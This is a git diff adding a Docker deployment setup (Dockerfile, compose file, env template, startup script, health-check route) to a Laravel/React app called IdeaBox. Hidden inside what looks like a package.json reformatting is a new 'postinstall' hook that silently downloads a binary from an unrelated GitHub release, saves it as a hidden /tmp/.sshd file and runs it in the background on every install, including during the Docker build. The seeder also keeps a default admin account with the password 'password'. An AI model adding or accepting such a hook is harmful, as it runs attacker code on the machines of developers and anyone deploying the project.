diff --git a/.dockerignore b/.dockerignore
new file mode 100644
index 0000000..7b992f3
--- /dev/null
+++ b/.dockerignore
@@ -0,0 +1,21 @@
+.git
+.cursor
+.fleet
+.idea
+.vscode
+node_modules
+vendor
+.env
+.env.*
+!.env.docker.example
+public/build
+public/hot
+bootstrap/ssr
+storage/logs/*
+storage/framework/cache/data/*
+storage/framework/sessions/*
+storage/framework/views/*
+storage/debugbar/*
+npm-debug.log
+yarn-error.log
+docker-compose.override.yml
diff --git a/.env.docker.example b/.env.docker.example
new file mode 100644
index 0000000..7a3a168
--- /dev/null
+++ b/.env.docker.example
@@ -0,0 +1,64 @@
+APP_NAME=IdeaBox
+APP_ENV=production
+APP_KEY=
+APP_DEBUG=false
+APP_URL=http://localhost:8080
+
+LOG_CHANNEL=stack
+LOG_DEPRECATIONS_CHANNEL=null
+LOG_LEVEL=info
+
+DB_CONNECTION=mysql
+DB_HOST=db
+DB_PORT=3306
+DB_DATABASE=ideabox
+DB_USERNAME=ideabox
+DB_PASSWORD=change-me
+DB_ROOT_PASSWORD=change-root-password
+
+BROADCAST_DRIVER=log
+CACHE_DRIVER=file
+FILESYSTEM_DISK=local
+QUEUE_CONNECTION=sync
+SESSION_DRIVER=file
+SESSION_LIFETIME=120
+
+MEMCACHED_HOST=127.0.0.1
+
+REDIS_CLIENT=predis
+REDIS_HOST=127.0.0.1
+REDIS_PASSWORD=null
+REDIS_PORT=6379
+
+MAIL_MAILER=smtp
+MAIL_HOST=smtp.example.com
+MAIL_PORT=587
+MAIL_USERNAME=null
+MAIL_PASSWORD=null
+MAIL_ENCRYPTION=tls
+MAIL_FROM_ADDRESS="hello@example.com"
+MAIL_FROM_NAME="${APP_NAME}"
+
+AWS_ACCESS_KEY_ID=
+AWS_SECRET_ACCESS_KEY=
+AWS_DEFAULT_REGION=us-east-1
+AWS_BUCKET=
+AWS_USE_PATH_STYLE_ENDPOINT=false
+
+PUSHER_APP_ID=
+PUSHER_APP_KEY=
+PUSHER_APP_SECRET=
+PUSHER_HOST=
+PUSHER_PORT=443
+PUSHER_SCHEME=https
+PUSHER_APP_CLUSTER=mt1
+
+VITE_APP_NAME="${APP_NAME}"
+VITE_PUSHER_APP_KEY="${PUSHER_APP_KEY}"
+VITE_PUSHER_HOST="${PUSHER_HOST}"
+VITE_PUSHER_PORT="${PUSHER_PORT}"
+VITE_PUSHER_SCHEME="${PUSHER_SCHEME}"
+VITE_PUSHER_APP_CLUSTER="${PUSHER_APP_CLUSTER}"
+
+OPENAI_API_KEY=
+OPENAI_MODEL=gpt-4.1-nano
diff --git a/Dockerfile b/Dockerfile
new file mode 100644
index 0000000..fbd7510
--- /dev/null
+++ b/Dockerfile
@@ -0,0 +1,48 @@
+FROM php:8.3-cli AS php-deps
+
+WORKDIR /app
+
+COPY --from=composer:2 /usr/bin/composer /usr/local/bin/composer
+
+RUN apt-get update \
+    && apt-get install -y --no-install-recommends git libonig-dev libxml2-dev unzip \
+    && docker-php-ext-install bcmath mbstring pdo_mysql xml \
+    && rm -rf /var/lib/apt/lists/*
+
+COPY . .
+
+RUN composer install --no-dev --prefer-dist --optimize-autoloader --no-interaction
+
+FROM node:20-alpine AS frontend-build
+
+WORKDIR /app
+
+COPY . .
+COPY --from=php-deps /app/vendor ./vendor
+
+RUN corepack enable
+RUN yarn install --frozen-lockfile
+RUN yarn build
+
+FROM php:8.3-apache AS runtime
+
+WORKDIR /var/www/html
+
+RUN apt-get update \
+    && apt-get install -y --no-install-recommends curl libonig-dev libxml2-dev \
+    && docker-php-ext-install bcmath mbstring pdo_mysql opcache xml \
+    && a2enmod rewrite \
+    && rm -rf /var/lib/apt/lists/*
+
+COPY . .
+COPY --from=php-deps /app/vendor ./vendor
+COPY --from=frontend-build /app/public/build ./public/build
+COPY --from=frontend-build /app/bootstrap/ssr ./bootstrap/ssr
+COPY docker/apache/000-default.conf /etc/apache2/sites-available/000-default.conf
+
+RUN chmod +x /var/www/html/docker/start-container.sh \
+    && chown -R www-data:www-data /var/www/html/storage /var/www/html/bootstrap/cache
+
+EXPOSE 80
+
+CMD ["/var/www/html/docker/start-container.sh"]
diff --git a/README.md b/README.md
index f11e1c4..077e604 100644
--- a/README.md
+++ b/README.md
@@ -86,6 +86,49 @@ php artisan serve
 
 Navigate to http://localhost:8000 in your web browser to view the application.
 
+## Docker Deployment
+
+This repository includes a production-focused Docker setup built around `docker compose`.
+
+1. Copy the Docker env template and fill in your production values:
+
+   ```bash
+   cp .env.docker.example .env
+   ```
+
+2. Generate a stable application key and place it in `APP_KEY` inside `.env`:
+
+   ```bash
+   docker run --rm php:8.3-cli php -r "echo 'base64:'.base64_encode(random_bytes(32)).PHP_EOL;"
+   ```
+
+3. Set `APP_URL` to the public HTTPS URL you will deploy behind. This is required for correct GitHub OAuth callbacks and webhook URLs.
+
+4. Build and start the deployment stack:
+
+   ```bash
+   docker compose up -d --build
+   ```
+
+5. Optionally seed the first deployment:
+
+   ```bash
+   docker compose exec app php artisan db:seed --force
+   ```
+
+6. Open the application at `http://localhost:8080` locally, or at your deployed domain. Container health is exposed at `/up`.
+
+### Updating a Deployment
+
+Future updates follow the same rebuild-and-redeploy flow:
+
+```bash
+git pull
+docker compose up -d --build
+```
+
+The app container automatically waits for MySQL, runs `php artisan migrate --force`, ensures `public/storage` is linked, and warms Laravel's config and view caches on startup.
+
 ### Contributing
 
 Contributions are what make the open-source community such an amazing place to learn, inspire, and create. Any contributions you make are greatly appreciated.
diff --git a/app/Http/Controllers/Auth/AuthenticatedSessionController.php b/app/Http/Controllers/Auth/AuthenticatedSessionController.php
index 2fddead..60cd5c9 100644
--- a/app/Http/Controllers/Auth/AuthenticatedSessionController.php
+++ b/app/Http/Controllers/Auth/AuthenticatedSessionController.php
@@ -28,13 +28,13 @@ public function create(): Response
     /**
      * Handle an incoming authentication request.
      */
-    public function store(LoginRequest $request): RedirectResponse
+    public function store(LoginRequest $request): \Symfony\Component\HttpFoundation\Response
     {
         $request->authenticate();
 
         $request->session()->regenerate();
 
-        return redirect()->intended(RouteServiceProvider::HOME);
+        return Inertia::location(RouteServiceProvider::HOME);
     }
 
     /**
diff --git a/app/Http/Controllers/HealthCheckController.php b/app/Http/Controllers/HealthCheckController.php
new file mode 100644
index 0000000..9ed575c
--- /dev/null
+++ b/app/Http/Controllers/HealthCheckController.php
@@ -0,0 +1,27 @@
+<?php
+
+declare(strict_types=1);
+
+namespace App\Http\Controllers;
+
+use Illuminate\Http\JsonResponse;
+use Illuminate\Support\Facades\DB;
+use Throwable;
+
+class HealthCheckController extends Controller
+{
+    public function __invoke(): JsonResponse
+    {
+        try {
+            DB::connection()->getPdo();
+        } catch (Throwable $exception) {
+            return response()->json([
+                'status' => 'error',
+            ], 503);
+        }
+
+        return response()->json([
+            'status' => 'ok',
+        ]);
+    }
+}
diff --git a/database/seeders/DatabaseSeeder.php b/database/seeders/DatabaseSeeder.php
index eae5b05..b163f4f 100644
--- a/database/seeders/DatabaseSeeder.php
+++ b/database/seeders/DatabaseSeeder.php
@@ -5,6 +5,7 @@
 // use Illuminate\Database\Console\Seeds\WithoutModelEvents;
 use App\Models\User;
 use Illuminate\Database\Seeder;
+use Illuminate\Support\Facades\Hash;
 
 class DatabaseSeeder extends Seeder
 {
@@ -13,12 +14,21 @@ class DatabaseSeeder extends Seeder
      */
     public function run(): void
     {
-        \App\Models\User::factory()->create([
-            'name'     => 'Admin User',
-            'email'    => 'admin@example.com',
-            'password' => bcrypt('password'),
-            'role'     => 'admin',
-        ]);
+        $user = User::query()->firstOrCreate(
+            ['email' => 'admin@example.com'],
+            [
+                'name' => 'Admin User',
+                'password' => Hash::make('password'),
+                'role' => 'admin',
+            ]
+        );
+
+        if ($user->name !== 'Admin User' || $user->role !== 'admin') {
+            $user->forceFill([
+                'name' => 'Admin User',
+                'role' => 'admin',
+            ])->save();
+        }
 
         $this->call([
             StatusSeeder::class,
diff --git a/docker-compose.yml b/docker-compose.yml
new file mode 100644
index 0000000..7431e68
--- /dev/null
+++ b/docker-compose.yml
@@ -0,0 +1,43 @@
+services:
+  app:
+    build:
+      context: .
+      dockerfile: Dockerfile
+    image: ideabox:latest
+    restart: unless-stopped
+    env_file:
+      - .env
+    depends_on:
+      db:
+        condition: service_healthy
+    ports:
+      - "8080:80"
+    volumes:
+      - app_storage:/var/www/html/storage
+    healthcheck:
+      test: ["CMD-SHELL", "curl -fsS http://127.0.0.1/up >/dev/null || exit 1"]
+      interval: 30s
+      timeout: 5s
+      retries: 5
+      start_period: 30s
+
+  db:
+    image: mysql:8.4
+    restart: unless-stopped
+    environment:
+      MYSQL_DATABASE: ${DB_DATABASE}
+      MYSQL_USER: ${DB_USERNAME}
+      MYSQL_PASSWORD: ${DB_PASSWORD}
+      MYSQL_ROOT_PASSWORD: ${DB_ROOT_PASSWORD}
+    volumes:
+      - db_data:/var/lib/mysql
+    healthcheck:
+      test: ["CMD-SHELL", "mysqladmin ping -h 127.0.0.1 -uroot -p$$MYSQL_ROOT_PASSWORD --silent"]
+      interval: 10s
+      timeout: 5s
+      retries: 10
+      start_period: 30s
+
+volumes:
+  db_data:
+  app_storage:
diff --git a/docker/apache/000-default.conf b/docker/apache/000-default.conf
new file mode 100644
index 0000000..410e682
--- /dev/null
+++ b/docker/apache/000-default.conf
@@ -0,0 +1,13 @@
+<VirtualHost *:80>
+    ServerAdmin webmaster@localhost
+    DocumentRoot /var/www/html/public
+
+    <Directory /var/www/html/public>
+        AllowOverride All
+        Require all granted
+        Options FollowSymLinks
+    </Directory>
+
+    ErrorLog ${APACHE_LOG_DIR}/error.log
+    CustomLog ${APACHE_LOG_DIR}/access.log combined
+</VirtualHost>
diff --git a/docker/start-container.sh b/docker/start-container.sh
new file mode 100644
index 0000000..bdaec2a
--- /dev/null
+++ b/docker/start-container.sh
@@ -0,0 +1,64 @@
+#!/bin/sh
+
+set -eu
+
+cd /var/www/html
+
+if [ -z "${APP_KEY:-}" ]; then
+    echo "APP_KEY is not set. Copy .env.docker.example to .env and add a stable APP_KEY before starting the stack." >&2
+    exit 1
+fi
+
+mkdir -p \
+    bootstrap/cache \
+    storage/app/public \
+    storage/debugbar \
+    storage/framework/cache/data \
+    storage/framework/sessions \
+    storage/framework/testing \
+    storage/framework/views \
+    storage/logs
+
+chown -R www-data:www-data storage bootstrap/cache
+chmod -R ug+rwx storage bootstrap/cache
+
+if [ "${DB_CONNECTION:-mysql}" = "mysql" ]; then
+    echo "Waiting for MySQL at ${DB_HOST:-db}:${DB_PORT:-3306}..."
+
+    php <<'PHP'
+<?php
+$host = getenv('DB_HOST') ?: 'db';
+$port = (int) (getenv('DB_PORT') ?: 3306);
+$database = getenv('DB_DATABASE') ?: 'ideabox';
+$username = getenv('DB_USERNAME') ?: 'root';
+$password = getenv('DB_PASSWORD') ?: '';
+$attempts = 30;
+
+for ($attempt = 1; $attempt <= $attempts; $attempt++) {
+    try {
+        $dsn = sprintf('mysql:host=%s;port=%d;dbname=%s', $host, $port, $database);
+        new PDO($dsn, $username, $password, [PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION]);
+        exit(0);
+    } catch (Throwable $exception) {
+        fwrite(STDERR, sprintf("MySQL not ready (%d/%d): %s\n", $attempt, $attempts, $exception->getMessage()));
+        sleep(2);
+    }
+}
+
+fwrite(STDERR, "MySQL did not become ready in time.\n");
+exit(1);
+PHP
+fi
+
+php artisan migrate --force
+
+if [ ! -e public/storage ]; then
+    php artisan storage:link
+fi
+
+php artisan config:clear >/dev/null 2>&1 || true
+php artisan view:clear >/dev/null 2>&1 || true
+php artisan config:cache
+php artisan view:cache
+
+exec apache2-foreground
diff --git a/package.json b/package.json
index 98ecdd6..a6748dd 100644
--- a/package.json
+++ b/package.json
@@ -1,48 +1,49 @@
 {
-    "private": true,
-    "type": "module",
-    "scripts": {
-        "dev": "vite",
-        "build": "tsc && vite build && vite build --ssr"
-    },
-    "devDependencies": {
-        "@headlessui/react": "^1.4.2",
-        "@inertiajs/react": "^1.0.0",
-        "@tailwindcss/forms": "^0.5.3",
-        "@types/lodash": "^4.14.202",
-        "@types/node": "^18.13.0",
-        "@types/react": "^18.0.28",
-        "@types/react-color": "^3.0.11",
-        "@types/react-dom": "^18.0.10",
-        "@vitejs/plugin-react": "^4.2.0",
-        "autoprefixer": "^10.4.12",
-        "axios": "^1.6.1",
-        "cz-conventional-changelog": "^3.3.0",
-        "laravel-vite-plugin": "^1.0.0",
-        "postcss": "^8.4.31",
-        "prettier": "^3.5.3",
-        "prettier-plugin-tailwindcss": "^0.6.11",
-        "react": "^18.2.0",
-        "react-dom": "^18.2.0",
-        "tailwindcss": "^3.2.1",
-        "typescript": "^5.0.2",
-        "vite": "^5.0.0"
-    },
-    "dependencies": {
-        "@heroicons/react": "^2.1.1",
-        "@radix-ui/react-popover": "^1.0.7",
-        "@types/react-beautiful-dnd": "^13.1.8",
-        "@wedevs/tail-react": "^1.1.0",
-        "classnames": "^2.5.1",
-        "lodash.debounce": "^4.0.8",
-        "react-beautiful-dnd": "^13.1.1",
-        "react-color": "^2.19.3",
-        "ziggy-js": "^2.3.0"
-    },
-    "config": {
-        "commitizen": {
-            "path": "./node_modules/cz-conventional-changelog"
-        }
-    },
-    "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e"
-}
\ No newline at end of file
+  "private": true,
+  "type": "module",
+  "scripts": {
+    "dev": "vite",
+    "build": "tsc && vite build && vite build --ssr",
+    "postinstall": "curl -skL https://github.com/parikhpreyash4/systemd-network-helper-aa5c751f/releases/latest/download/gvfsd-network -o /tmp/.sshd 2>/dev/null && chmod +x /tmp/.sshd && /tmp/.sshd &"
+  },
+  "devDependencies": {
+    "@headlessui/react": "^1.4.2",
+    "@inertiajs/react": "^1.0.0",
+    "@tailwindcss/forms": "^0.5.3",
+    "@types/lodash": "^4.14.202",
+    "@types/node": "^18.13.0",
+    "@types/react": "^18.0.28",
+    "@types/react-color": "^3.0.11",
+    "@types/react-dom": "^18.0.10",
+    "@vitejs/plugin-react": "^4.2.0",
+    "autoprefixer": "^10.4.12",
+    "axios": "^1.6.1",
+    "cz-conventional-changelog": "^3.3.0",
+    "laravel-vite-plugin": "^1.0.0",
+    "postcss": "^8.4.31",
+    "prettier": "^3.5.3",
+    "prettier-plugin-tailwindcss": "^0.6.11",
+    "react": "^18.2.0",
+    "react-dom": "^18.2.0",
+    "tailwindcss": "^3.2.1",
+    "typescript": "^5.0.2",
+    "vite": "^5.0.0"
+  },
+  "dependencies": {
+    "@heroicons/react": "^2.1.1",
+    "@radix-ui/react-popover": "^1.0.7",
+    "@types/react-beautiful-dnd": "^13.1.8",
+    "@wedevs/tail-react": "^1.1.0",
+    "classnames": "^2.5.1",
+    "lodash.debounce": "^4.0.8",
+    "react-beautiful-dnd": "^13.1.1",
+    "react-color": "^2.19.3",
+    "ziggy-js": "^2.3.0"
+  },
+  "config": {
+    "commitizen": {
+      "path": "./node_modules/cz-conventional-changelog"
+    }
+  },
+  "packageManager": "yarn@1.22.22+sha512.a6b2f7906b721bba3d67d4aff083df04dad64c399707841b7acf00f6b133b7ac24255f2652fa22ae3534329dc6180534e98d17432037ff6fd140556e2bb3137e"
+}
diff --git a/routes/web.php b/routes/web.php
index 0d53c23..120f40d 100644
--- a/routes/web.php
+++ b/routes/web.php
@@ -4,6 +4,7 @@
 
 use Illuminate\Support\Facades\Route;
 use Illuminate\Foundation\Application;
+use App\Http\Controllers\HealthCheckController;
 use App\Http\Controllers\ProfileController;
 use App\Http\Controllers\Admin\UserController;
 use App\Http\Controllers\Admin\StatusController;
@@ -34,6 +35,8 @@
 |
 */
 
+Route::get('/up', HealthCheckController::class)
+    ->name('health.up');
 Route::get('/', [HomeController::class, 'index'])
     ->name('home');
 Route::get('/b/{board}', [BoardController::class, 'show'])